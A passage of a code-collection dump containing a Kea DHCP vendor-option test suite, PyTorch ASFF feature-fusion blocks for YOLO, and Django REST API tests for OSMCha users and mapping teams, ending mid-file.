'192.168.50.50-192.168.50.50') my_class = [{"name": "VENDOR_CLASS_1027", "option-def": [{"name": "vendor-encapsulated-options", "code": 43, "type": "string"}], "option-data": [{"name": "vendor-encapsulated-options", "data": "id:ipphone.mitel.com;sw_tftp=11.11.11.11;call_srv=10.10.10.10"}]}] world.dhcp_cfg["client-classes"] = my_class srv_control.build_and_send_config_files() srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04') srv_msg.client_requests_option(43) srv_msg.client_does_include_with_value('vendor_class_id', '1027') srv_msg.client_does_include_with_value('client_id', 'ff:01:02:03:ff:04:11:22') srv_msg.client_send_msg('DISCOVER') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', 'OFFER') srv_msg.response_check_content('yiaddr', '192.168.50.50') srv_msg.response_check_include_option(43) srv_msg.response_check_option_content(43, 'value', 'HEX:69643A697070686F6E652E6D6974656C2E636F6D3B73775F746674703D31312E31312E31312E31313B63616C6C5F7372763D31302E31302E31302E3130') @pytest.mark.v4 @pytest.mark.options @pytest.mark.vendor def test_v4_options_vendor_encapsulated_unifi_address(): misc.test_setup() srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.50-192.168.50.50') my_class = [{"name": "VENDOR_CLASS_ubnt", "option-def": [{"name": "vendor-encapsulated-options", "type": "ipv4-address", "code": 43}], "option-data": [{"name": "vendor-encapsulated-options", "data": "192.0.2.11"}]}] world.dhcp_cfg["client-classes"] = my_class srv_control.build_and_send_config_files() srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04') srv_msg.client_requests_option(43) srv_msg.client_does_include_with_value('vendor_class_id', 'ubnt') srv_msg.client_does_include_with_value('client_id', 'ff:01:02:03:ff:04:11:22') srv_msg.client_send_msg('DISCOVER') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', 'OFFER') srv_msg.response_check_content('yiaddr', '192.168.50.50') srv_msg.response_check_include_option(43) srv_msg.response_check_option_content(43, 'value', 'HEX:C000020B') @pytest.mark.v4 @pytest.mark.options @pytest.mark.vendor def test_v4_options_vivso_suboptions_unifi_address(): misc.test_setup() srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.50-192.168.50.50') option = [{"name": "unifi-address", "code": 1, "array": False, "space": "vendor-41112", "type": "ipv4-address"}] my_class = [{"name": "VENDOR_CLASS_41112", "option-data": [ {"name": "vivso-suboptions", "data": "41112"}, {"name": "unifi-address", "space": "vendor-41112", "data": "192.0.2.11", "always-send": True}]}] world.dhcp_cfg["option-def"] = option world.dhcp_cfg["client-classes"] = my_class srv_control.build_and_send_config_files() srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04') srv_msg.client_requests_option(125) srv_msg.client_does_include_with_value('vendor_class_id', '41112') srv_msg.client_does_include_with_value('client_id', 'ff:01:02:03:ff:04:11:22') srv_msg.client_send_msg('DISCOVER') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', 'OFFER') srv_msg.response_check_content('yiaddr', '192.168.50.50') srv_msg.response_check_include_option(125) srv_msg.response_check_option_content(125, 'value', 'HEX:0000A098060104C000020B') @pytest.mark.v4 @pytest.mark.options @pytest.mark.vendor def test_v4_options_vendor_encapsulated_siemens(): misc.test_setup() srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.50-192.168.50.50') option = [{"name": "vlanid", "code": 2, "array": False, "encapsulate": "", "record-types": "", "space": "339", "type": "uint32"}, {"name": "dls", "code": 3, "array": False, "encapsulate": "", "record-types": "", "space": "339", "type": "string"}] my_class = [{"name": "VENDOR_CLASS_339", "option-def": [{"name": "vendor-encapsulated-options", "code": 43, "type": "empty", "encapsulate": "339"}], "option-data": [{"name": "vendor-encapsulated-options"}, {"always-send": True, "data": "123", "name": "vlanid", "space": "339"}, {"always-send": True, "data": "sdlp://192.0.2.11:18443", "name": "dls", "space": "339"}]}] world.dhcp_cfg["option-def"] = option world.dhcp_cfg["client-classes"] = my_class srv_control.build_and_send_config_files() srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04') srv_msg.client_requests_option(43) srv_msg.client_does_include_with_value('vendor_class_id', '339') srv_msg.client_does_include_with_value('client_id', 'ff:01:02:03:ff:04:11:22') srv_msg.client_send_msg('DISCOVER') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', 'OFFER') srv_msg.response_check_content('yiaddr', '192.168.50.50') srv_msg.response_check_include_option(43) srv_msg.response_check_option_content(43, 'value', 'HEX:02040000007B031773646C703A2F2F3139322E302E322E31313A3138343433') @pytest.mark.v4 @pytest.mark.options @pytest.mark.vendor def test_v4_options_vivso_suboptions_siemens(): misc.test_setup() srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.50-192.168.50.50') option = [{"name": "vlanid", "code": 2, "array": False, "encapsulate": "", "record-types": "", "space": "vendor-339", "type": "uint32"}, {"name": "dls", "code": 3, "array": False, "encapsulate": "", "record-types": "", "space": "vendor-339", "type": "string"}] my_class = [{"name": "VENDOR_CLASS_339", "option-data": [ {"name": "vivso-suboptions", "data": "339"}, {"always-send": True, "data": "123", "name": "vlanid", "space": "vendor-339"}, {"always-send": True, "data": "sdlp://192.0.2.11:18443", "name": "dls", "space": "vendor-339"}]}] world.dhcp_cfg["option-def"] = option world.dhcp_cfg["client-classes"] = my_class srv_control.build_and_send_config_files() srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04') srv_msg.client_requests_option(125) srv_msg.client_does_include_with_value('vendor_class_id', '339') srv_msg.client_does_include_with_value('client_id', 'ff:01:02:03:ff:04:11:22') srv_msg.client_send_msg('DISCOVER') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', 'OFFER') srv_msg.response_check_content('yiaddr', '192.168.50.50') srv_msg.response_check_include_option(125) srv_msg.response_check_option_content(125, 'value', 'HEX:000001531F02040000007B031773646C703A2F2F3139322E302E322E31313A3138343433') @pytest.mark.v4 @pytest.mark.options @pytest.mark.vendor def test_v4_options_vivso_suboptions_siemens_defined_in_class(): # kea gitlab #1683 misc.test_setup() srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.50-192.168.50.50') option = [{"name": "vlanid", "code": 2, "array": False, "encapsulate": "", "record-types": "", "space": "vendor-339", "type": "uint32"}, {"name": "dls", "code": 3, "array": False, "encapsulate": "", "record-types": "", "space": "vendor-339", "type": "string"}] my_class = [{"name": "VENDOR_CLASS_339", "option-def": option, "option-data": [ {"name": "vivso-suboptions", "data": "339"}, {"always-send": True, "data": "123", "name": "vlanid", "space": "vendor-339"}, {"always-send": True, "data": "sdlp://192.0.2.11:18443", "name": "dls", "space": "vendor-339"}]}] world.dhcp_cfg["client-classes"] = my_class srv_control.build_and_send_config_files() srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04') srv_msg.client_requests_option(125) srv_msg.client_does_include_with_value('vendor_class_id', '339') srv_msg.client_does_include_with_value('client_id', 'ff:01:02:03:ff:04:11:22') srv_msg.client_send_msg('DISCOVER') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', 'OFFER') srv_msg.response_check_content('yiaddr', '192.168.50.50') srv_msg.response_check_include_option(125) srv_msg.response_check_option_content(125, 'value', 'HEX:000001531F02040000007B031773646C703A2F2F3139322E302E322E31313A3138343433') @pytest.mark.v4 @pytest.mark.options @pytest.mark.vendor def test_v4_options_vendor_encapsulated_siemens_defined_in_class(): # kea gitlab #1683 misc.test_setup() srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.50-192.168.50.50') option = [{"name": "vlanid", "code": 2, "array": False, "encapsulate": "", "record-types": "", "space": "339", "type": "uint32"}, {"name": "dls", "code": 3, "array": False, "encapsulate": "", "record-types": "", "space": "339", "type": "string"}] my_class = [{"name": "VENDOR_CLASS_339", "option-def": [{"name": "vendor-encapsulated-options", "code": 43, "type": "empty", "encapsulate": "339"}] + option, "option-data": [{"name": "vendor-encapsulated-options"}, {"always-send": True, "data": "123", "name": "vlanid", "space": "339"}, {"always-send": True, "data": "sdlp://192.0.2.11:18443", "name": "dls", "space": "339"}]}] world.dhcp_cfg["client-classes"] = my_class srv_control.build_and_send_config_files() srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04') srv_msg.client_requests_option(43) srv_msg.client_does_include_with_value('vendor_class_id', '339') srv_msg.client_does_include_with_value('client_id', 'ff:01:02:03:ff:04:11:22') srv_msg.client_send_msg('DISCOVER') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', 'OFFER') srv_msg.response_check_content('yiaddr', '192.168.50.50') srv_msg.response_check_include_option(43) srv_msg.response_check_option_content(43, 'value', 'HEX:02040000007B031773646C703A2F2F3139322E302E322E31313A3138343433') @pytest.mark.v4 @pytest.mark.options @pytest.mark.vendor def test_v4_options_vendor_encapsulated_options_space_siemens(): # kea gitlab #1682 misc.test_setup() srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.50-192.168.50.50') option = [{"name": "vlanid", "code": 2, "array": False, "encapsulate": "", "record-types": "", "space": "vendor-encapsulated-options-space", "type": "uint32"}, {"name": "dls", "code": 3, "array": False, "encapsulate": "", "record-types": "", "space": "vendor-encapsulated-options-space", "type": "string"}] my_class = [{"name": "VENDOR_CLASS_339", "option-def": [{"name": "vendor-encapsulated-options", "code": 43, "type": "empty"}], "option-data": [{"name": "vendor-encapsulated-options"}, {"always-send": True, "data": "123", "name": "vlanid", "space": "vendor-encapsulated-options-space"}, {"always-send": True, "data": "sdlp://192.0.2.11:18443", "name": "dls", "space": "vendor-encapsulated-options-space"}]}] world.dhcp_cfg["option-def"] = option world.dhcp_cfg["client-classes"] = my_class srv_control.build_and_send_config_files() srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04') srv_msg.client_requests_option(43) srv_msg.client_does_include_with_value('vendor_class_id', '339') srv_msg.client_does_include_with_value('client_id', 'ff:01:02:03:ff:04:11:22') srv_msg.client_send_msg('DISCOVER') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', 'OFFER') srv_msg.response_check_content('yiaddr', '192.168.50.50') srv_msg.response_check_include_option(43) srv_msg.response_check_option_content(43, 'value', 'HEX:02040000007B031773646C703A2F2F3139322E302E322E31313A3138343433')

43.416486

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b736b3afaf63c5f284a48d5c41b15a2fd8466f86

13,096

py

Python

nb/torch/blocks/asff_blocks.py

jinfagang/nb

2b46577c2252a4fc28232faf8973088192bdd096

[ "Apache-2.0" ]

161

2020-09-11T08:17:13.000Z

2022-03-29T01:48:17.000Z

nb/torch/blocks/asff_blocks.py

yangdeai/nb

9e81bd96310a3fdad8553a9910e18b7a6accee7a

[ "Apache-2.0" ]

7

2020-12-04T12:43:48.000Z

2021-07-30T05:21:19.000Z

nb/torch/blocks/asff_blocks.py

yangdeai/nb

9e81bd96310a3fdad8553a9910e18b7a6accee7a

[ "Apache-2.0" ]

36

2020-09-15T02:48:16.000Z

2022-03-24T06:56:16.000Z

import torch import math import torch.nn as nn import torch.nn.functional as F from .conv_blocks import ConvBase """ ASFF blocks which better than RFBnet code token from: https://github.com/ruinmessi/ASFF/blob/master/models/network_blocks.py with some our own modifications """ class ASFFmobile(nn.Module): def __init__(self, level, rfb=False, vis=False, act_cfg=dict(type='ReLU6')): super(ASFFmobile, self).__init__() self.level = level self.dim = [512, 256, 128] self.inter_dim = self.dim[self.level] if level == 0: self.stride_level_1 = ConvBase( 256, self.inter_dim, 3, 2, act_cfg=act_cfg) self.stride_level_2 = ConvBase( 128, self.inter_dim, 3, 2, act_cfg=act_cfg) self.expand = ConvBase(self.inter_dim, 1024, 3, 1, act_cfg=act_cfg) elif level == 1: self.compress_level_0 = ConvBase( 512, self.inter_dim, 1, 1, act_cfg=act_cfg) self.stride_level_2 = ConvBase( 128, self.inter_dim, 3, 2, act_cfg=act_cfg) self.expand = ConvBase(self.inter_dim, 512, 3, 1, act_cfg=act_cfg) elif level == 2: self.compress_level_0 = ConvBase( 512, self.inter_dim, 1, 1, act_cfg=act_cfg) self.compress_level_1 = ConvBase( 256, self.inter_dim, 1, 1, act_cfg=act_cfg) self.expand = ConvBase(self.inter_dim, 256, 3, 1, act_cfg=act_cfg) # when adding rfb, we use half number of channels to save memory compress_c = 8 if rfb else 16 self.weight_level_0 = ConvBase( self.inter_dim, compress_c, 1, 1, act_cfg=act_cfg) self.weight_level_1 = ConvBase( self.inter_dim, compress_c, 1, 1, act_cfg=act_cfg) self.weight_level_2 = ConvBase( self.inter_dim, compress_c, 1, 1, act_cfg=act_cfg) self.weight_levels = nn.Conv2d( compress_c*3, 3, kernel_size=1, stride=1, padding=0) self.vis = vis def forward(self, x_level_0, x_level_1, x_level_2): if self.level == 0: level_0_resized = x_level_0 level_1_resized = self.stride_level_1(x_level_1) level_2_downsampled_inter = F.max_pool2d( x_level_2, 3, stride=2, padding=1) level_2_resized = self.stride_level_2(level_2_downsampled_inter) elif self.level == 1: level_0_compressed = self.compress_level_0(x_level_0) level_0_resized = F.interpolate( level_0_compressed, scale_factor=2, mode='nearest') level_1_resized = x_level_1 level_2_resized = self.stride_level_2(x_level_2) elif self.level == 2: level_0_compressed = self.compress_level_0(x_level_0) level_0_resized = F.interpolate( level_0_compressed, scale_factor=4, mode='nearest') level_1_compressed = self.compress_level_1(x_level_1) level_1_resized = F.interpolate( level_1_compressed, scale_factor=2, mode='nearest') level_2_resized = x_level_2 level_0_weight_v = self.weight_level_0(level_0_resized) level_1_weight_v = self.weight_level_1(level_1_resized) level_2_weight_v = self.weight_level_2(level_2_resized) levels_weight_v = torch.cat( (level_0_weight_v, level_1_weight_v, level_2_weight_v), 1) levels_weight = self.weight_levels(levels_weight_v) levels_weight = F.softmax(levels_weight, dim=1) fused_out_reduced = level_0_resized * levels_weight[:, 0:1, :, :] +\ level_1_resized * levels_weight[:, 1:2, :, :] +\ level_2_resized * levels_weight[:, 2:, :, :] out = self.expand(fused_out_reduced) if self.vis: return out, levels_weight, fused_out_reduced.sum(dim=1) else: return out class ASFF(nn.Module): def __init__(self, level, multiplier=1, rfb=False, vis=False, act_cfg=dict(type='LeakyReLU')): """ normally, multiplier should be 1, 0.5 which means, the channel of ASFF can be 512, 256, 256 -> multiplier=1 256, 128, 128 -> multiplier=0.5 For even smaller, you gonna need change code manually. If you got any question about this, consult me via wechat: jintianiloveu """ super(ASFF, self).__init__() self.level = level self.dim = [int(512*multiplier), int(256*multiplier), int(256*multiplier)] # print(self.dim) self.inter_dim = self.dim[self.level] if level == 0: self.stride_level_1 = ConvBase( int(256*multiplier), self.inter_dim, 3, 2, act_cfg=act_cfg) self.stride_level_2 = ConvBase( int(256*multiplier), self.inter_dim, 3, 2, act_cfg=act_cfg) self.expand = ConvBase(self.inter_dim, int( 1024*multiplier), 3, 1, act_cfg=act_cfg) elif level == 1: self.compress_level_0 = ConvBase( int(512*multiplier), self.inter_dim, 1, 1, act_cfg=act_cfg) self.stride_level_2 = ConvBase( int(256*multiplier), self.inter_dim, 3, 2, act_cfg=act_cfg) self.expand = ConvBase(self.inter_dim, int(512*multiplier), 3, 1) elif level == 2: self.compress_level_0 = ConvBase( int(512*multiplier), self.inter_dim, 1, 1, act_cfg=act_cfg) self.expand = ConvBase(self.inter_dim, int( 256*multiplier), 3, 1, act_cfg=act_cfg) # when adding rfb, we use half number of channels to save memory compress_c = 8 if rfb else 16 self.weight_level_0 = ConvBase( self.inter_dim, compress_c, 1, 1, act_cfg=act_cfg) self.weight_level_1 = ConvBase( self.inter_dim, compress_c, 1, 1, act_cfg=act_cfg) self.weight_level_2 = ConvBase( self.inter_dim, compress_c, 1, 1, act_cfg=act_cfg) self.weight_levels = nn.Conv2d( compress_c*3, 3, kernel_size=1, stride=1, padding=0) self.vis = vis def forward(self, x_level_0, x_level_1, x_level_2): """ from small -> large """ if self.level == 0: level_0_resized = x_level_0 level_1_resized = self.stride_level_1(x_level_1) level_2_downsampled_inter = F.max_pool2d( x_level_2, 3, stride=2, padding=1) level_2_resized = self.stride_level_2(level_2_downsampled_inter) elif self.level == 1: level_0_compressed = self.compress_level_0(x_level_0) level_0_resized = F.interpolate( level_0_compressed, scale_factor=2, mode='nearest') level_1_resized = x_level_1 level_2_resized = self.stride_level_2(x_level_2) elif self.level == 2: level_0_compressed = self.compress_level_0(x_level_0) level_0_resized = F.interpolate( level_0_compressed, scale_factor=4, mode='nearest') level_1_resized = F.interpolate( x_level_1, scale_factor=2, mode='nearest') level_2_resized = x_level_2 level_0_weight_v = self.weight_level_0(level_0_resized) level_1_weight_v = self.weight_level_1(level_1_resized) level_2_weight_v = self.weight_level_2(level_2_resized) levels_weight_v = torch.cat( (level_0_weight_v, level_1_weight_v, level_2_weight_v), 1) levels_weight = self.weight_levels(levels_weight_v) levels_weight = F.softmax(levels_weight, dim=1) fused_out_reduced = level_0_resized * levels_weight[:, 0:1, :, :] +\ level_1_resized * levels_weight[:, 1:2, :, :] +\ level_2_resized * levels_weight[:, 2:, :, :] out = self.expand(fused_out_reduced) if self.vis: return out, levels_weight, fused_out_reduced.sum(dim=1) else: return out class ASFFV5(nn.Module): def __init__(self, level, multiplier=1, rfb=False, vis=False, act_cfg=dict(type='LeakyReLU')): """ this is ASFF version for YoloV5 only. Since YoloV5 outputs 3 layer of feature maps with different channels which is different than YoloV3 normally, multiplier should be 1, 0.5 which means, the channel of ASFF can be 512, 256, 128 -> multiplier=1 256, 128, 64 -> multiplier=0.5 For even smaller, you gonna need change code manually. If you got any question about this, consult me via wechat: jintianiloveu """ super(ASFFV5, self).__init__() self.level = level self.dim = [int(1024*multiplier), int(512*multiplier), int(256*multiplier)] # print(self.dim) self.inter_dim = self.dim[self.level] if level == 0: self.stride_level_1 = ConvBase( int(512*multiplier), self.inter_dim, 3, 2, act_cfg=act_cfg) self.stride_level_2 = ConvBase( int(256*multiplier), self.inter_dim, 3, 2, act_cfg=act_cfg) self.expand = ConvBase(self.inter_dim, int( 1024*multiplier), 3, 1, act_cfg=act_cfg) elif level == 1: self.compress_level_0 = ConvBase( int(1024*multiplier), self.inter_dim, 1, 1, act_cfg=act_cfg) self.stride_level_2 = ConvBase( int(256*multiplier), self.inter_dim, 3, 2, act_cfg=act_cfg) self.expand = ConvBase(self.inter_dim, int(512*multiplier), 3, 1) elif level == 2: self.compress_level_0 = ConvBase( int(1024*multiplier), self.inter_dim, 1, 1, act_cfg=act_cfg) self.compress_level_1 = ConvBase( int(512*multiplier), self.inter_dim, 1, 1, act_cfg=act_cfg) self.expand = ConvBase(self.inter_dim, int( 256*multiplier), 3, 1, act_cfg=act_cfg) # when adding rfb, we use half number of channels to save memory compress_c = 8 if rfb else 16 self.weight_level_0 = ConvBase( self.inter_dim, compress_c, 1, 1, act_cfg=act_cfg) self.weight_level_1 = ConvBase( self.inter_dim, compress_c, 1, 1, act_cfg=act_cfg) self.weight_level_2 = ConvBase( self.inter_dim, compress_c, 1, 1, act_cfg=act_cfg) self.weight_levels = nn.Conv2d( compress_c*3, 3, kernel_size=1, stride=1, padding=0) self.vis = vis def forward(self, x_level_0, x_level_1, x_level_2): """ # 128, 256, 512 512, 256, 128 from small -> large """ # print('x_level_0: ', x_level_0.shape) # print('x_level_1: ', x_level_1.shape) # print('x_level_2: ', x_level_2.shape) if self.level == 0: level_0_resized = x_level_0 level_1_resized = self.stride_level_1(x_level_1) level_2_downsampled_inter = F.max_pool2d( x_level_2, 3, stride=2, padding=1) # print('128 ', level_2_downsampled_inter.shape) level_2_resized = self.stride_level_2(level_2_downsampled_inter) elif self.level == 1: level_0_compressed = self.compress_level_0(x_level_0) level_0_resized = F.interpolate( level_0_compressed, scale_factor=2, mode='nearest') level_1_resized = x_level_1 level_2_resized = self.stride_level_2(x_level_2) elif self.level == 2: level_0_compressed = self.compress_level_0(x_level_0) level_0_resized = F.interpolate( level_0_compressed, scale_factor=4, mode='nearest') x_level_1_compressed = self.compress_level_1(x_level_1) level_1_resized = F.interpolate( x_level_1_compressed, scale_factor=2, mode='nearest') level_2_resized = x_level_2 # print('level: {}, l1_resized: {}, l2_resized: {}'.format(self.level, # level_1_resized.shape, level_2_resized.shape)) level_0_weight_v = self.weight_level_0(level_0_resized) level_1_weight_v = self.weight_level_1(level_1_resized) level_2_weight_v = self.weight_level_2(level_2_resized) # print('level_0_weight_v: ', level_0_weight_v.shape) # print('level_1_weight_v: ', level_1_weight_v.shape) # print('level_2_weight_v: ', level_2_weight_v.shape) levels_weight_v = torch.cat( (level_0_weight_v, level_1_weight_v, level_2_weight_v), 1) levels_weight = self.weight_levels(levels_weight_v) levels_weight = F.softmax(levels_weight, dim=1) fused_out_reduced = level_0_resized * levels_weight[:, 0:1, :, :] +\ level_1_resized * levels_weight[:, 1:2, :, :] +\ level_2_resized * levels_weight[:, 2:, :, :] out = self.expand(fused_out_reduced) if self.vis: return out, levels_weight, fused_out_reduced.sum(dim=1) else: return out

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0.286042

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null

0

1

0

1

0

null

0

7

3f7991be7d20b4c52bbf7ad03a0436ffc67b4aee

19,705

py

Python

osmchadjango/users/tests/test_views.py

tordans/osmcha-django

21456989abec20c9c65a91c57cc9da8661121e6a

[ "BSD-2-Clause" ]

null

osmchadjango/users/tests/test_views.py

tordans/osmcha-django

21456989abec20c9c65a91c57cc9da8661121e6a

[ "BSD-2-Clause" ]

null

osmchadjango/users/tests/test_views.py

tordans/osmcha-django

21456989abec20c9c65a91c57cc9da8661121e6a

[ "BSD-2-Clause" ]

null

from django.urls import reverse from rest_framework.test import APITestCase from social_django.models import UserSocialAuth from ..models import User, MappingTeam from ...changeset.tests.modelfactories import ChangesetFactory from ...changeset.models import Changeset class TestCurrentUserDetailAPIView(APITestCase): def setUp(self): self.user = User.objects.create_user( username='test', password='password', email='a@a.com' ) self.social_auth = UserSocialAuth.objects.create( user=self.user, provider='openstreetmap', uid='123123', ) self.social_auth.set_extra_data({'avatar': 'http://theurl.org/pic.jpg'}) self.url = reverse('users:detail') def test_view_unauthenticated(self): response = self.client.get(self.url) self.assertEqual(response.status_code, 401) def test_get_view(self): self.client.login(username='test', password='password') response = self.client.get(self.url) self.assertEqual(response.status_code, 200) self.assertEqual(response.data.get('id'), self.user.id) self.assertEqual(response.data.get('username'), 'test') self.assertEqual(response.data.get('email'), 'a@a.com') self.assertEqual(response.data.get('uid'), '123123') self.assertEqual(response.data.get('is_staff'), False) self.assertEqual(response.data.get('is_active'), True) self.assertEqual(response.data.get('avatar'), 'http://theurl.org/pic.jpg') self.assertEqual(response.data.get('whitelists'), []) self.assertFalse(response.data.get('comment_feature')) self.assertFalse('password' in response.data.keys()) def test_update_view(self): self.client.login(username='test', password='password') data = { "username": "test_user", "email": "admin@a.com", "is_staff": "true", "message_good": "Hello! Awesome edit!", "message_bad": "Hello! I found an error in your edit...", "comment_feature": True } response = self.client.put(self.url, data) self.assertEqual(response.status_code, 200) response = self.client.get(self.url) self.assertEqual(response.data.get('email'), 'admin@a.com') self.assertEqual(response.data.get('username'), 'test') self.assertFalse(response.data.get('is_staff')) self.assertEqual( response.data.get('message_good'), 'Hello! Awesome edit!' ) self.assertEqual( response.data.get('message_bad'), 'Hello! I found an error in your edit...' ) self.assertTrue(response.data.get('comment_feature')) def test_username_serialization(self): self.user.name = 'test user' self.user.save() self.client.login(username='test', password='password') response = self.client.get(self.url) self.assertEqual(response.status_code, 200) self.assertEqual(response.data.get('id'), self.user.id) self.assertEqual(response.data.get('username'), 'test user') def test_uid_field_of_non_social_user(self): self.user_2 = User.objects.create_user( username='test_2', password='password', email='b@a.com' ) self.client.login(username='test_2', password='password') response = self.client.get(self.url) self.assertEqual(response.data.get('uid'), None) self.assertEqual(response.data.get('avatar'), None) class TestSocialAuthAPIView(APITestCase): def setUp(self): self.url = reverse('users:social-auth') def test_get_response(self): response = self.client.get(self.url) self.assertEqual(response.status_code, 405) def test_receive_oauth_token(self): response = self.client.post(self.url) self.assertEqual(response.status_code, 200) self.assertIn('oauth_token', response.data.keys()) self.assertIn('oauth_token_secret', response.data.keys()) class TestMappingTeamListCreateAPIView(APITestCase): def setUp(self): self.url = reverse('users:mapping-team') self.user = User.objects.create_user( username='test', password='password', email='a@a.com' ) self.social_auth = UserSocialAuth.objects.create( user=self.user, provider='openstreetmap', uid='123123', ) self.payload = { "name": "Map Company", "users": [ { "username" : "test_1", "doj" : "2017-02-13T00:00:00Z", "uid" : "989", "dol" : "" }, { "username" : "test_2", "doj" : "2017-02-13T00:00:00Z", "uid" : "987", "dol" : "" } ], "trusted": True } def test_unauthenticated(self): response = self.client.post(self.url, data=self.payload) self.assertEqual(response.status_code, 401) response = self.client.get(self.url) self.assertEqual(response.status_code, 401) def test_create_authenticated(self): self.client.login(username='test', password='password') response = self.client.post(self.url, data=self.payload) self.assertEqual(response.status_code, 201) self.assertEqual(MappingTeam.objects.count(), 1) self.assertEqual(MappingTeam.objects.filter(trusted=False).count(), 1) self.assertEqual(MappingTeam.objects.filter(trusted=True).count(), 0) response = self.client.get(self.url) self.assertEqual(response.status_code, 200) self.assertEqual(len(response.data.get('results')), 1) self.assertTrue("name" in response.json().get('results')[0].keys()) self.assertTrue("users" in response.json().get('results')[0].keys()) self.assertTrue("trusted" in response.json().get('results')[0].keys()) def test_filters(self): self.client.login(username='test', password='password') self.client.post(self.url, data=self.payload) response = self.client.get(self.url, {'trusted': 'true'}) self.assertEqual(response.status_code, 200) self.assertEqual(response.data.get('count'), 0) response = self.client.get(self.url, {'trusted': 'false'}) self.assertEqual(response.status_code, 200) self.assertEqual(response.data.get('count'), 1) response = self.client.get(self.url, {'name': 'Map Company'}) self.assertEqual(response.status_code, 200) self.assertEqual(response.data.get('count'), 1) response = self.client.get(self.url, {'name': 'Map'}) self.assertEqual(response.status_code, 200) self.assertEqual(response.data.get('count'), 1) response = self.client.get(self.url, {'name': 'Other'}) self.assertEqual(response.status_code, 200) self.assertEqual(response.data.get('count'), 0) response = self.client.get(self.url, {'owner': 'test'}) self.assertEqual(response.status_code, 200) self.assertEqual(response.data.get('count'), 1) response = self.client.get(self.url, {'owner': 'other user'}) self.assertEqual(response.status_code, 200) self.assertEqual(response.data.get('count'), 0) response = self.client.get(self.url, {'owner': 'Test'}) self.assertEqual(response.status_code, 200) self.assertEqual(response.data.get('count'), 0) class TestMappingTeamDetailAPIView(APITestCase): def setUp(self): self.user = User.objects.create_user( username='test', password='password', email='a@a.com' ) self.social_auth = UserSocialAuth.objects.create( user=self.user, provider='openstreetmap', uid='123123', ) self.payload = { "name": "Map Company", "users": [ { "username" : "test_1", "doj" : "2017-02-13T00:00:00Z", "uid" : "989", "dol" : "" }, { "username" : "test_2", "doj" : "2017-02-13T00:00:00Z", "uid" : "987", "dol" : "" } ], "trusted": True } self.team = MappingTeam.objects.create( name="Group of Users", users=self.payload, created_by=self.user ) def test_unauthenticated(self): url = reverse('users:mapping-team-detail', args=[self.team.id]) response = self.client.get(url) self.assertEqual(response.status_code, 401) response = self.client.put(url, data=self.payload) self.assertEqual(response.status_code, 401) response = self.client.patch(url, data=self.payload) self.assertEqual(response.status_code, 401) response = self.client.delete(url) self.assertEqual(response.status_code, 401) def test_with_owner(self): url = reverse('users:mapping-team-detail', args=[self.team.id]) self.client.login(username='test', password='password') response = self.client.get(url) self.assertEqual(response.status_code, 200) response = self.client.put(url, data=self.payload) self.assertEqual(response.status_code, 200) response = self.client.patch(url, data=self.payload) self.assertEqual(response.status_code, 200) self.assertEqual(MappingTeam.objects.filter(trusted=False).count(), 1) self.assertEqual(MappingTeam.objects.filter(trusted=True).count(), 0) response = self.client.delete(url) self.assertEqual(response.status_code, 204) self.assertEqual(MappingTeam.objects.count(), 0) def test_with_staff_user(self): user = User.objects.create_user( username='staff_user', password='password', email='a@a.com', is_staff=True ) url = reverse('users:mapping-team-detail', args=[self.team.id]) self.client.login(username='staff_user', password='password') response = self.client.get(url) self.assertEqual(response.status_code, 200) response = self.client.put(url, data=self.payload) self.assertEqual(response.status_code, 200) response = self.client.patch(url, data=self.payload) self.assertEqual(response.status_code, 200) response = self.client.delete(url) self.assertEqual(response.status_code, 204) def test_with_other_user(self): user = User.objects.create_user( username='test_2', password='password', email='a@a.com' ) url = reverse('users:mapping-team-detail', args=[self.team.id]) self.client.login(username='test_2', password='password') response = self.client.get(url) self.assertEqual(response.status_code, 200) response = self.client.put(url, data=self.payload) self.assertEqual(response.status_code, 403) response = self.client.patch(url, data=self.payload) self.assertEqual(response.status_code, 403) response = self.client.delete(url) self.assertEqual(response.status_code, 403) class TestMappingTeamTrustingAPIView(APITestCase): def setUp(self): self.user = User.objects.create_user( username='test', password='password', email='a@a.com' ) self.social_auth = UserSocialAuth.objects.create( user=self.user, provider='openstreetmap', uid='123123', ) self.payload = { "name": "Map Company", "users": [ { "username" : "test_1", "doj" : "2017-02-13T00:00:00Z", "uid" : "989", "dol" : "" }, { "username" : "test_2", "doj" : "2017-02-13T00:00:00Z", "uid" : "987", "dol" : "" } ], "trusted": True } self.team = MappingTeam.objects.create( name="Group of Users", users=self.payload, created_by=self.user ) def test_unauthenticated(self): url = reverse('users:trust-mapping-team', args=[self.team.id]) response = self.client.put(url) self.assertEqual(response.status_code, 401) url = reverse('users:untrust-mapping-team', args=[self.team.id]) response = self.client.put(url) self.assertEqual(response.status_code, 401) def test_with_owner(self): url = reverse('users:trust-mapping-team', args=[self.team.id]) self.client.login(username='test', password='password') response = self.client.put(url) self.assertEqual(response.status_code, 